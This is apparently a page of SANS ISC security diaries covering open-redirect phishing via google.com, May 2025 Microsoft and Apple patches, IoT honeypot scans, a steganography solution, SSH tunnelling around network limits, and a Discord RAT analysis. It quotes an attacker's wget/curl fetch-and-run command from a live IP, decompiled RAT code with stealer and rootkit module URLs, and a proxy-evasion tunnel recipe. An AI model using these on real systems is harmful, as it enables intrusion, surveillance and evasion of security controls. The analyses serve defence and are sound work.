Diaries

Published: 2025-05-14

Another day, another phishing campaign abusing google.com open redirects

A couple of weeks ago, I came across a phishing campaign that highlights a recurring issue with open redirect vulnerabilities in well-known and trusted services.

The phishing message that was delivered to us, here at the ISC, was a variation on the “we blocked your account to keep it safe, to unblock it, login at this URL” theme, and it was unremarkable besides the URL associated with the embedded link.

The URL in question was:

hxxps[:]//www.google[.]com/travel/clk?pc=AA80OszwkVHH1Tdfi56QAdQ_qVxXAshiA3B9c5Xj-yHvKSRKOZ_ubTR2ikBZgLobE7ppW5UXflJXGMDLd8l_6VMqW29-pVtc74CE_CVpzmjjwpit_N-vSU8PtmXTZ1FKy2YJIg&pcurl=hxxps[:]//purplepantry.hstn[.]me/limeoggy/?eca=handlers@isc.sans.edu

As you have probably guessed, the issue that we will be discussing today centers on the somewhat obscure /travel/clk endpoint on google.com – a component of the Google Travel ecosystem that, despite being designed for legitimate click-through tracking, can (and, as we can clearly see, does) also serve as a conduit for phishing attacks.

As far as I’ve been able to determine, URLs pointing to google.com/travel/clk are used by Google to redirect users of its “hotel search” service to the reservation website of their choice.

The URLs in question always take the following form:

hxxps[:]//www.google[.]com/travel/clk?pc=[token]&pcurl=[target_URL]

When a user clicks any such link, the browser briefly touches down on /travel/clk before being redirected to the destination specified in 'pcurl'. While this sounds like a standard click tracking mechanism, it also creates an opportunity for abuse.

This is because while one might expect the ‘pc’ parameter to verify both the click and the destination, in practice it only controls whether the redirect occurs at all – it does not constrain where the user is sent in any way. Crucially, the ‘pc’ token also lacks any visible expiration mechanism.

What this means is that today, one could take any valid token from the Google hotel search and use it for weeks or months to redirect users from google.com to any URL of their choice.

In fact, this precise “modus operandi” seems to align with the actions of threat actors, since the same token that was present in the phishing e-mail delivered to us on April 30th was also used in another phishing campaign back in February, which we can be sure of since it was present in a public submission to the Any.Run sandbox on February 26th.[1]

Since the same token still works at the time of writing (as do some others, much older ones, which we will discuss later), we can surmise that these tokens either never expire or that they have an impractically long lifespan, allowing attackers to recycle them across multiple campaigns.

Before we move on, let’s take a closer look at the tokens, since the redirects won’t work without them.

A closer inspection of the token structure reveals that it most likely consists of a 5-byte prefix, followed by a 12-byte nonce and a 16-byte authentication tag – these are traits that are typical of an AES-GCM ciphertext generated by Google’s open-source Tink library.[2] While this cryptographic wrapper likely includes some metadata (perhaps even data that could identify the user to whom the original link from which the token was copied was displayed? If so, this could possibly enable Google to link a misused URL to a specific account…), the lack of an obvious expiration check leaves the door open for repeated exploitation.

Since the value is cryptographically protected, a threat actor probably wouldn’t be able to generate a valid token on their own. Nevertheless, we have shown that obtaining a new token is merely a question of visiting the hotel search page and copying it from a valid link…

Given that this is a trivial step, one could wonder about how long has the misuse of /travel/clk redirect functionality been going on… While we won’t be able to answer this question in this post, we can at least state that it certainly started no later than on August 2nd, 2023, since we have a publicly accessible report on JoeSandbox from that day, in which a URL redirecting to what appears to be an obviously malicious domain was submitted.[3]

It should be mentioned that the token that was used in the URL from 2023 still works to this day, so our assumption of the tokens having either a very long or infinite lifetime seems to be valid…

Unfortunately, this is not the first time Google’s open redirects have been abused. In my last diary, I discussed similar issues with Google’s ad redirect mechanisms[4] and I have previously written about a “partially-open” redirect vulnerabilities in both Google Search[5] and YouTube[6], demonstrating a broader pattern of problematic redirect design across Google’s various platforms.

At this point, one might reasonably ask why Google’s services seem to have an overall “open redirect” issue. We can find an answer of sorts in Google’s official position, as stated in their Bug Hunter guidelines. It states that open redirects “pose very little practical risk”[7]:

“Open redirectors take you from a Google URL to another website chosen by whoever constructed the link. Some members of the security community argue that these redirectors aid phishing, because users may be inclined to trust the mouse hover tooltip on a link and then fail to examine the address bar once the navigation takes place.
Our take on this is that tooltips are not a reliable security indicator, and can be tampered with in many ways. For this reason, we invest in technologies to detect and alert users about phishing and abuse instead. More generally, we hold that a small number of properly monitored redirectors offers fairly clear benefits and poses very little practical risk.”

While claiming ‘it’s not our problem that users consider our domains trustworthy and click links that lead to them without hesitation’ strikes me as antithetical to a security-oriented mindset, I do appreciate Google’s stated commitment to user protection. Nonetheless, the premise that a well-monitored redirector is inherently low-risk is hard to reconcile with the /travel/clk mechanism, where publicly identified tokens remain valid months (or years) after misuse.

Even if the risk was, indeed, low, we could still debate whether a redirector that accepts years-old, publicly flagged tokens is truly “properly monitored”, as Google puts it… But it may just be a case of Google interpreting “monitoring” in a different, much more ephemeral and intangible way than I would.

Whether or not the aforementioned company officially agrees with this, the reality is that open and “partially-open” redirects are more than just a theoretical risk. They are a known and actively exploited vector for phishing, as evidenced by the repeated misuse of Google’s own infrastructure. Until the underlying design changes to enforce tighter token lifetimes or more robust target validation, these redirects will continue to offer attackers a convenient way to piggyback on one of the world’s most trusted domains…

It has been said that it’s easy to criticize, but difficult to offer constructive solutions. And, so that no one accuses me of failing to offer a way out, and so that we end up on a positive note, here are at least two pieces of advice (not just for Google):

  • For internal security teams: flag or sandbox any google.com/travel/clk links that appear in e-mail (and other types of messages, if you have that capability), at least until Google clarifies how (or if) it now validates redirects.
  • For Google: a short-lived, cryptographically-bound pcurl (or a hard allow-list of trusted partner domains) is hardly a definitive security solution, but it would be easy to implement and it would close the door on the current abuse without breaking your analytical mechanisms.

 

[1] https://any.run/report/e43cb3cbca4898a1549c1e7b07747b0f692e5ee17a084cbc03c441ef0cc95b63/945091e7-f769-4d08-9f93-c2ad21fd5969
[2] https://developers.google.com/tink/wire-format
[3] https://www.joesandbox.com/analysis/1284400/0/html
[4] https://isc.sans.edu/diary/31880
[5] https://untrustednetwork.net/en/2024/02/26/google-open-redirect/
[6] https://untrustednetwork.net/en/2019/07/22/half-open-redirect-vulnerability-in-youtube/
[7] https://bughunters.google.com/learn/invalid-reports/web-platform/navigation/6680364896223232/open-redirectors

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

0 Comments

Published: 2025-05-13

Microsoft Patch Tuesday: May 2025

Today, Microsoft released its expected update for the May patch on Tuesday. This update fixes 78 vulnerabilities. 11 are rated as critical, and 66 as important. Five of the vulnerabilities have already been exploited and two were publicly known but not yet exploited. 70 of the vulnerabilities were patched today, 8 had patches delivered earlier this month.

Notable Vulnerabilities:

%%cve:2025-30397%%: This vulnerability is already exploited. It could lead to remote code execution if a user visits a malicious web page, but only if Edge is running in Internet Explorer mode.

The other four already exploited vulnerabilities are all privilege escalation vulnerabilities. The two already known vulnerabilities include a remote code execution vulnerability in Visual Studio and a spoofing vulnerability in Microsoft Defender.

Most of the critical vulnerabilities affect Microsoft Office and the Remote Desktop Client. 

%%cve:2025-29831%% could be interesting: It is only rated "important", but it is described as a remote code execution issue in Windows Remote Desktop. No authorization is required to exploit the vulnerability. Exploitation relies on a race collation which is often not reliably exploitable (but exploitable). The attack has to be triggered while the server is being restarted. This may be exploitable if a denial of service vulnerability can be used to restart the system.

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET, Visual Studio, and Build Tools for Visual Studio Spoofing Vulnerability
%%cve:2025-26646%% No No - - Important 8.0 7.0
Active Directory Certificate Services (AD CS) Denial of Service Vulnerability
%%cve:2025-29968%% No No - - Important 6.5 5.7
Azure Automation Elevation of Privilege Vulnerability
%%cve:2025-29827%% No No - - Critical 9.9 8.9
Azure DevOps Server Elevation of Privilege Vulnerability
%%cve:2025-29813%% No No - - Critical 10.0 9.0
Azure Storage Resource Provider Spoofing Vulnerability
%%cve:2025-29972%% No No - - Critical 9.9 8.9
Document Intelligence Studio On-Prem Elevation of Privilege Vulnerability
%%cve:2025-30387%% No No - - Important 9.8 8.5
Kernel Streaming Service Driver Elevation of Privilege Vulnerability
%%cve:2025-24063%% No No - - Important 7.8 6.8
MS-EVEN RPC Remote Code Execution Vulnerability
%%cve:2025-29969%% No No - - Important 7.5 6.5
Microsoft Azure File Sync Elevation of Privilege Vulnerability
%%cve:2025-29973%% No No - - Important 7.0 6.1
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2025-29970%% No No - - Important 7.8 6.8
Microsoft DWM Core Library Elevation of Privilege Vulnerability
%%cve:2025-30400%% No Yes - - Important 7.8 7.2
Microsoft Dataverse Elevation of Privilege Vulnerability
%%cve:2025-29826%% No No - - Important 7.3 6.4
Microsoft Dataverse Remote Code Execution Vulnerability
%%cve:2025-47732%% No No - - Critical 8.7 7.6
Microsoft Defender Elevation of Privilege Vulnerability
%%cve:2025-26684%% No No - - Important 6.7 5.8
Microsoft Defender for Identity Spoofing Vulnerability
%%cve:2025-26685%% Yes No - - Important 6.5 5.7
Microsoft Edge (Chromium-based) Spoofing Vulnerability
%%cve:2025-29825%% No No Less Likely Less Likely Low 6.5 5.7
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2025-29977%% No No - - Important 7.8 6.8
%%cve:2025-29979%% No No - - Important 7.8 6.8
%%cve:2025-30375%% No No - - Important 7.8 6.8
%%cve:2025-30376%% No No - - Important 7.8 6.8
%%cve:2025-30379%% No No - - Important 7.8 6.8
%%cve:2025-30381%% No No - - Important 7.8 6.8
%%cve:2025-30383%% No No - - Important 7.8 6.8
%%cve:2025-30393%% No No - - Important 7.8 6.8
%%cve:2025-32704%% No No - - Important 8.4 7.3
Microsoft Office Remote Code Execution Vulnerability
%%cve:2025-30377%% No No - - Critical 8.4 7.3
%%cve:2025-30386%% No No - - Critical 8.4 7.3
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2025-32705%% No No - - Important 7.8 6.8
Microsoft PC Manager Elevation of Privilege Vulnerability
%%cve:2025-29975%% No No - - Important 7.8 6.8
Microsoft Power Apps Information Disclosure Vulnerability
%%cve:2025-47733%% No No - - Critical 9.1 7.9
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2025-29978%% No No - - Important 7.8 6.8
Microsoft SharePoint Server Elevation of Privilege Vulnerability
%%cve:2025-29976%% No No - - Important 7.8 6.8
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2025-30378%% No No - - Important 7.0 6.1
%%cve:2025-30382%% No No - - Important 7.8 6.8
%%cve:2025-30384%% No No - - Important 7.4 6.4
Microsoft Virtual Machine Bus (VMBus) Remote Code Execution Vulnerability
%%cve:2025-29833%% No No - - Critical 7.1 6.2
Microsoft Windows Hardware Lab Kit (HLK) Elevation of Privilege Vulnerability
%%cve:2025-27488%% No No - - Important 6.7 5.8
Microsoft msagsfeedback.azurewebsites.net Information Disclosure Vulnerability
%%cve:2025-33072%% No No - - Critical 8.1 7.1
NTFS Elevation of Privilege Vulnerability
%%cve:2025-32707%% No No - - Important 7.8 6.8
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2025-29966%% No No - - Critical 8.8 7.7
%%cve:2025-29967%% No No - - Critical 8.8 7.7
Scripting Engine Memory Corruption Vulnerability
%%cve:2025-30397%% No Yes - - Important 7.5 7.0
Universal Print Management Service Elevation of Privilege Vulnerability
%%cve:2025-29841%% No No - - Important 7.0 6.1
UrlMon Security Feature Bypass Vulnerability
%%cve:2025-29842%% No No - - Important 7.5 6.5
Visual Studio Code Security Feature Bypass Vulnerability
%%cve:2025-21264%% No No - - Important 7.1 6.2
Visual Studio Information Disclosure Vulnerability
%%cve:2025-32703%% No No - - Important 5.5 4.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2025-32702%% Yes No - - Important 7.8 6.8
Web Threat Defense (WTD.sys) Denial of Service Vulnerability
%%cve:2025-29971%% No No - - Important 7.5 6.5
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2025-32709%% No Yes - - Important 7.8 6.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2025-32701%% No Yes - - Important 7.8 7.2
%%cve:2025-32706%% No Yes - - Important 7.8 7.2
%%cve:2025-30385%% No No - - Important 7.8 6.8
Windows Deployment Services Denial of Service Vulnerability
%%cve:2025-29957%% No No - - Important 6.2 5.4
Windows ExecutionContext Driver Elevation of Privilege Vulnerability
%%cve:2025-29838%% No No - - Important 7.4 6.4
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2025-30388%% No No - - Important 7.8 6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2025-29955%% No No - - Important 6.2 5.4
Windows Installer Information Disclosure Vulnerability
%%cve:2025-29837%% No No - - Important 5.5 4.8
Windows Kernel Information Disclosure Vulnerability
%%cve:2025-29974%% No No - - Important 5.7 5.0
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2025-27468%% No No - - Important 7.0 6.1
Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability
%%cve:2025-29954%% No No - - Important 5.9 5.2
Windows Media Remote Code Execution Vulnerability
%%cve:2025-29964%% No No - - Important 8.8 7.7
%%cve:2025-29840%% No No - - Important 8.8 7.7
%%cve:2025-29962%% No No - - Important 8.8 7.7
%%cve:2025-29963%% No No - - Important 8.8 7.7
Windows Multiple UNC Provider Driver Information Disclosure Vulnerability
%%cve:2025-29839%% No No - - Important 4.0 3.5
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2025-29835%% No No - - Important 6.5 5.7
Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability
%%cve:2025-30394%% No No - - Important 5.9 5.2
%%cve:2025-26677%% No No - - Important 7.5 6.5
Windows Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2025-29831%% No No - - Important 7.5 6.5
Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability
%%cve:2025-29959%% No No - - Important 6.5 5.7
%%cve:2025-29960%% No No - - Important 6.5 5.7
%%cve:2025-29830%% No No - - Important 6.5 5.7
%%cve:2025-29832%% No No - - Important 6.5 5.7
%%cve:2025-29836%% No No - - Important 6.5 5.7
%%cve:2025-29958%% No No - - Important 6.5 5.7
%%cve:2025-29961%% No No - - Important 6.5 5.7
Windows SMB Information Disclosure Vulnerability
%%cve:2025-29956%% No No - - Important 5.4 4.7
Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability
%%cve:2025-29829%% No No - - Important 5.5 4.8

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2025-05-12

Apple Updates Everything: May 2025 Edition

Apple released its expected update for all its operating systems. The update, in addition to providing new features, patches 65 different vulnerabilities. Many of these vulnerabilities affect multiple operating systems within the Apple ecosystem.

Of note is CVE-2025-31200. This vulnerability is already exploited in "targeted attacks". Apple released patches for this vulnerability in mid-April for its current operating Systems (iOS 18, macOS 15, tvOS 18, and visionOS 2). This update includes patches for older versions of macOS and iPadOS/iOS.

 

iOS 18.5 and iPadOS 18.5 iPadOS 17.7.7 macOS Sequoia 15.5 macOS Sonoma 14.7.6 macOS Ventura 13.7.6 watchOS 11.5 tvOS 18.5 visionOS 2.5
CVE-2025-24097: An app may be able to read arbitrary file metadata.
Affects AirDrop
  x            
CVE-2025-24111: An app may be able to cause unexpected system termination.
Affects Display
  x            
CVE-2025-24142: An app may be able to access sensitive user data.
Affects Notification Center
    x x x      
CVE-2025-24144: An app may be able to leak sensitive kernel state.
Affects Kernel
  x   x x      
CVE-2025-24155: An app may be able to disclose kernel memory.
Affects WebContentFilter
      x x      
CVE-2025-24213: A type confusion issue could lead to memory corruption.
Affects WebKit
x x x     x x x
CVE-2025-24220: An app may be able to read a persistent device identifier.
Affects Sandbox Profiles
  x            
CVE-2025-24222: Processing maliciously crafted web content may lead to an unexpected process crash.
Affects BOM
    x          
CVE-2025-24223: Processing maliciously crafted web content may lead to memory corruption.
Affects WebKit
    x          
CVE-2025-24225: Processing an email may lead to user interface spoofing.
Affects Mail Addressing
x x            
CVE-2025-24258: An app may be able to gain root privileges.
Affects DiskArbitration
      x x      
CVE-2025-24259: An app may be able to retrieve Safari bookmarks without an entitlement check.
Affects Parental Controls
  x            
CVE-2025-24274: A malicious app may be able to gain root privileges.
Affects Mobile Device Service
    x x x      
CVE-2025-30440: An app may be able to bypass ASLR.
Affects Libinfo
    x x x      
CVE-2025-30442: An app may be able to gain elevated privileges.
Affects SoftwareUpdate
      x x      
CVE-2025-30443: An app may be able to access user-sensitive data.
Affects Found in Apps
    x          
CVE-2025-30448: An attacker may be able to turn on sharing of an iCloud folder without authentication.
Affects iCloud Document Sharing
x x   x x     x
CVE-2025-30453: A malicious app may be able to gain root privileges.
Affects DiskArbitration
      x x      
CVE-2025-31196: Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents.
Affects CoreGraphics
  x   x x      
CVE-2025-31200: Processing an audio stream in a maliciously crafted media file may result in code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS released before iOS 18.4.1..
Affects CoreAudio
          x    
CVE-2025-31204: Processing maliciously crafted web content may lead to memory corruption.
Affects WebKit
x         x x x
CVE-2025-31205: A malicious website may exfiltrate data cross-origin.
Affects WebKit
x   x     x x x
CVE-2025-31206: Processing maliciously crafted web content may lead to an unexpected Safari crash.
Affects WebKit
x x x     x x x
CVE-2025-31207: An app may be able to enumerate a user's installed apps.
Affects FrontBoard
x              
CVE-2025-31208: Parsing a file may lead to an unexpected app termination.
Affects CoreAudio
x x x x x x x x
CVE-2025-31209: Parsing a file may lead to disclosure of user information.
Affects CoreGraphics
x x x x x x x x
CVE-2025-31210: Processing web content may lead to a denial-of-service.
Affects FaceTime
x x            
CVE-2025-31212: An app may be able to access sensitive user data.
Affects Core Bluetooth
x   x     x x x
CVE-2025-31213: An app may be able to access associated usernames and websites in a user's iCloud Keychain.
Affects Security
  x x x x      
CVE-2025-31214: An attacker in a privileged network position may be able to intercept network traffic.
Affects Baseband
x              
CVE-2025-31215: Processing maliciously crafted web content may lead to an unexpected process crash.
Affects WebKit
x x x     x x x
CVE-2025-31217: Processing maliciously crafted web content may lead to an unexpected Safari crash.
Affects WebKit
x x x     x x x
CVE-2025-31218: An app may be able to observe the hostnames of new network connections.
Affects NetworkExtension
    x          
CVE-2025-31219: An attacker may be able to cause unexpected system termination or corrupt kernel memory.
Affects Kernel
x x x x x x x x
CVE-2025-31220: A malicious app may be able to read sensitive location information.
Affects Weather
  x x x x      
CVE-2025-31221: A remote attacker may be able to leak memory.
Affects Security
x x x x x x x x
CVE-2025-31222: A user may be able to elevate privileges.
Affects mDNSResponder
x   x x x x x x
CVE-2025-31224: An app may be able to bypass certain Privacy preferences.
Affects Sandbox
    x x x      
CVE-2025-31225: Call history from deleted apps may still appear in spotlight search results.
Affects Call History
x              
CVE-2025-31226: Processing a maliciously crafted image may lead to a denial-of-service.
Affects ImageIO
x x x     x x x
CVE-2025-31227: An attacker with physical access to a device may be able to access a deleted call recording.
Affects Notes
x              
CVE-2025-31228: An attacker with physical access to a device may be able to access notes from the lock screen.
Affects Notes
x x            
CVE-2025-31232: A sandboxed app may be able to access sensitive user data.
Affects Installer
    x x x      
CVE-2025-31233: Processing a maliciously crafted video file may lead to unexpected app termination or corrupt process memory.
Affects CoreMedia
x x x x x x x x
CVE-2025-31234: An attacker may be able to cause unexpected system termination or corrupt kernel memory.
Affects Pro Res
x   x       x x
CVE-2025-31235: An app may be able to cause unexpected system termination.
Affects Audio
  x x x x      
CVE-2025-31236: An app may be able to access sensitive user data.
Affects Finder
    x          
CVE-2025-31237: Mounting a maliciously crafted AFP network share may lead to system termination.
Affects afpfs
    x x x      
CVE-2025-31238: Processing maliciously crafted web content may lead to memory corruption.
Affects WebKit
x   x     x x x
CVE-2025-31239: Parsing a file may lead to an unexpected app termination.
Affects CoreMedia
x x x x x x x x
CVE-2025-31241: A remote attacker may cause an unexpected app termination.
Affects Kernel
x x x x x x x x
CVE-2025-31242: An app may be able to access sensitive user data.
Affects StoreKit
  x x x x      
CVE-2025-31244: An app may be able to break out of its sandbox.
Affects quarantine
    x          
CVE-2025-31245: An app may be able to cause unexpected system termination.
Affects Pro Res
x x x x x   x x
CVE-2025-31246: Connecting to a malicious AFP server may corrupt kernel memory.
Affects afpfs
    x x        
CVE-2025-31247: An attacker may gain access to protected parts of the file system.
Affects SharedFileList
    x x x      
CVE-2025-31249: An app may be able to access sensitive user data.
Affects Sandbox
    x          
CVE-2025-31250: An app may be able to access sensitive user data.
Affects TCC
    x          
CVE-2025-31251: Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory.
Affects AppleJPEG
x x x x x x x x
CVE-2025-31253: Muting the microphone during a FaceTime call may not result in audio being silenced.
Affects FaceTime
x              
CVE-2025-31256: Hot corner may unexpectedly reveal a user?s deleted notes.
Affects Notes
    x          
CVE-2025-31257: Processing maliciously crafted web content may lead to an unexpected Safari crash.
Affects WebKit
x   x     x x x
CVE-2025-31258: An app may be able to break out of its sandbox.
Affects RemoteViewServices
    x          
CVE-2025-31259: An app may be able to gain elevated privileges.
Affects SoftwareUpdate
    x          
CVE-2025-31260: An app may be able to access sensitive user data.
Affects Apple Intelligence Reports
    x          

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2025-05-12

It Is 2025, And We Are Still Dealing With Default IoT Passwords And Stupid 2013 Router Vulnerabilities

Unipi Technologies is a company developing programmable logic controllers for a number of different applications like home automation, building management, and industrial controls. The modules produced by Unipi are likely to appeal to a more professional audience. All modules are based on the "Marvis" platform, a customized Linux distribution maintained by Unipi.

In the last couple of days, we did observe scans for the unipi default username and password ("unipi" and "unipi.technology")  in our honeypot logs. The scans originate from %%ip:176.65.148.10%%, an IP address that is well-known to our database.

In addition to SSH, the IP address also scans for an ancient Netgear vulnerability from 2013, which only got a CVE number last year (CVE-2024-12847). 

Both, the SSH as well as the "Netgear" exploit attempts are executing the same commands:

cd /tmp; rm -rf wget.sh curl.sh; wget http://213.209.143.44/ssh.sh; chmod +x ssh.sh; sh ssh.sh;curl -o http://213.209.143.44/ssh.sh; chmod +x ssh.sh; sh ssh.sh

which kicks off the standard Mirai/Gafgyt install chain.

 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2025-05-10

Steganography Challenge: My Solution

When I tried to solve "Steganography Challenge" with the same method as I used in "Steganography Analysis With pngdump.py: Bitstreams", I couldn't recover the text message.

So I looked into the source code of the encoding function EncodeNRGBA, and noticed this:

To encode each of the pixels, there are 2 nested for loops: "for x" and "for y". This means that first the column is processed (y).

While a raw bitmap is one line after the other (and not one column after the other). Thus we need to transpose the raw bitmap (rows and columns need to be swapped):

And as 8-bit RGB encoding is used for pixels, each pixel is encoded with 3 bytes, that need to be transposed correctly:

This transposition can be done with my tool translate.py and the necessary Python function. I wrote this one to do the transposition:

def Transpose(data, size, width, height):
    result = []
    for x in range(width):
        for y in range(height):
            i = y * width + x
            result.append(data[i*size:(i + 1)*size])
    return b''.join(result)

So let's decode this.

First we need the dimensions of the image:

1195 pixels wide and 642 pixels high.

With this information, I can do the transposition with translate.py (3 is the number of bytes per pixel): Transpose(data, 3, 1195, 642)

Then I use the following command to decode the size of the message. It's the same command as I used in diary entry "Steganography Analysis With pngdump.py: Bitstreams", except that this time there's an extra step (translate) to do the transposition:

pngdump.py -R -d encoded_stegosaurus.png | translate.py -f -s transpose.py "lambda data: Transpose(data, 3, 1195, 642)" | cut-bytes.py 0:32l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | format-bytes.py

The message is 547 bytes long. Let's decode this:

pngdump.py -R -d encoded_stegosaurus.png | translate.py -f -s transpose.py "lambda data: Transpose(data, 3, 1195, 642)" | cut-bytes.py 32:4376l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>"

We were able to extract the text message (a partial copy from the Wikipedia article on Stegosaurus).

But what surprised me is the lack of space characters ... I though that this could hardly be due to an error in the decoding, so I took a look at the test encoder source code. Line 19 contains the message encoded as decimal bytes, and I noticed that there are no values equal to 32 (that's the space character). Decoding this line with numbers-to-string.py does indeed reveal that there are no space characters in the source code:

The solution to this challenge is identical to the one described in diary entry "Steganography Analysis With pngdump.py: Bitstreams", with one important difference: we need to transpose lines and columns.

Finally, if you would want to write this command as a one-liner without a file containing the source code for the Transpose Python function, you can to this with nested list comprehensions, but it's less readable:

pngdump.py -R -d encoded_stegosaurus.png | translate.py -f "lambda data: b''.join([b''.join([data[(y*1195+x)*3:(y*1195+x+1)*3] for y in range(642)]) for x in range(1195)])" | cut-bytes.py 32:4376l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>"

Didier Stevens
Senior handler
blog.DidierStevens.com

0 Comments

Published: 2025-05-08

No Internet Access? SSH to the Rescue!

This quick diary is a perfect example of why I love Linux (or UNIX in general) operating system. There is always a way to "escape" settings imposed by an admin...

Disclaimer: This has been used for testing purpose in the scope of a security assessment project. Don't break your organization security policies!

To perform some assessments on a remote network, a Customer provided me a VM running Ubuntu and reachable through SSH (with IP filtering, only SSH key authentication, etc). Once logged on the system, I started to work but I was lacking of some tools and decided to install them. Bad news... The VM had no Internet access. No problem, we have an SSH access!

Let's assume the following enrivonment:

  • server.acme.org is the VM. SSH listening on port 65022.
  • client.sans.edu is my workstation with SSH listening on port 22.

Step 1: From client.sans.edu, connect to the server via one terminal and create a reverse tunnel ("-R" option)

ssh -p 65022 -i .ssh/privatekey -R 2222:localhost:22 xavier@server.acme.org

Step 2: Start a second session to the server, from a second terminal

ssh -p 65022 -i .ssh/privatekey xavier@server.acme.org

Step 3: From the second session, connect back to the client and setup a dynamic port forwaring ("-D")

ssh -p 2222 -D 1080 xavier@localhost

Step 4: From the fist session, create environment variables:

export http_proxy=socks5h://127.0.0.1:1080
export https_proxy=socks5h://127.0.0.1:1080
curl https://ipinfo.io/

Curl should tell you that your IP address is the one of client.sans.edu!

Now, all tools handling these variables will have access to the Interneet through your client! Slow but effective!

They are for sure many other ways to achieve this but... that's the magic of UNIX, always plenty of way to solve issues... Please share your idea or techiques!

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2025-05-07

Example of "Modular" Malware

Developers (of malware as well as goodware) don't have to reinvent the wheel all the time. Why rewrite a piece of code that was development by someone else? In the same way, all operating systems provide API calls (or system calls) to interact with the hardware (open a file, display a pixel, send a packet over the wire, etc). These system calls are grouped in libraries (example: Windows provided wininet.dll to interact with networks).

Briefly, Developers have different ways to use libraries:

  • Static linking: The library is added (appended) to the user code by thelinker at compilation time.
  • Dynamic loading: The library is loaded by the "loader" when the program is started and made available to the program (the well-known "DLL" files)
  • On-demand loading: The Developer decides that it's now time to load an extra DLL in the program environment.

In the malware ecosystem, the third method is pretty cool because Attackers can develop "modular" malware that will expand their capabilities only when needed. Let's imagine a malware that will first perform a footprint of the victim's computer. If the victim is an administrative employee and some SAP-related files or processes are discovered by the malware, it can fetch a specific DLL from a C2 server and load it to add features targeting SAP systems. Besides the fact that the malware is smaller, the malware may look less suspicious.

Here is an example of such malware that expands its capabilities on demand. The file is a Discord RAT (SHA256:9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e)[1]. The sample is a .Net malware and can be easily decompiled. Good news, there is no obfuscation implemented and the code is pretty easy to read.

The list of "modules" or external DLLs is provided in a dictionary:

public static Dictionary<string, string> dll_url_holder = new Dictionary<string, string>
{
  { "password", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/PasswordStealer.dll" },
  { "rootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/rootkit.dll" },
  { "unrootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/unrootkit.dll" },
  { "webcam", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Webcam.dll" },
  { "token", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Token%20grabber.dll" }
};

Let's take an example: Webcam.dll:

remnux@remnux:/MalwareZoo/20250507$ file Webcam.dll
Webcam.dll: PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows

DLLs are loaded only when required by the malware. The RAT has a command "webcampic" to take a picture of the victim:

"--> !webcampic = Take a picture out of the selected webcam"

Let's review the function associated to this command:

public static async Task webcampic(string channelid)
{
    if (!dll_holder.ContainsKey("webcam"))
    {
        await LoadDll("webcam", await LinkToBytes(dll_url_holder["webcam"]));
    }
    if (!activator_holder.ContainsKey("webcam"))
    {
        activator_holder["webcam"] = Activator.CreateInstance(dll_holder["webcam"].GetType("Webcam.webcam"));
        activator_holder["webcam"].GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]);
    }
    object obj = activator_holder["webcam"];
    obj.GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]);
    if ((obj.GetType().GetField("cameras").GetValue(obj) as IDictionary<int, string>).Count < 1)
    {
        await Send_message(channelid, "No cameras found!");
        await Send_message(channelid, "Command executed!");
        return;
    }
    try
    {
        byte[] item = (byte[])obj.GetType().GetMethod("GetImage").Invoke(obj, new object[0]);
        await Send_attachment(channelid, "", new List<byte[]> { item }, new string[1] { "webcam.jpg" });
        await Send_message(channelid, "Command executed!");
    }
    catch
    {
        await Send_message(channelid, "Error taking picture!");
        await Send_message(channelid, "Command executed!");
    }
}

"dll_holder" is a dictionary that contains addresses of loaded DLLs:

public static async Task LoadDll(string name, byte[] data)
{
    dll_holder[name] = Assembly.Load(data);
}

In the webcam function, if the DLLS has not been loaded yet, the DLL file is fetched from the Git repository, converted into a byte array and loaded in memory. Once the DLL is loaded, the main class is used. Here is the decompiled code of Webcam.dll:

namespace Webcam
{
    public class webcam
    {
        public static Dictionary<string, bool> ready = new Dictionary<string, bool>();
        public static Dictionary<string, Bitmap> holder = new Dictionary<string, Bitmap>();
        public static Dictionary<int, string> cameras = new Dictionary<int, string>();
        public static int selected = 1;
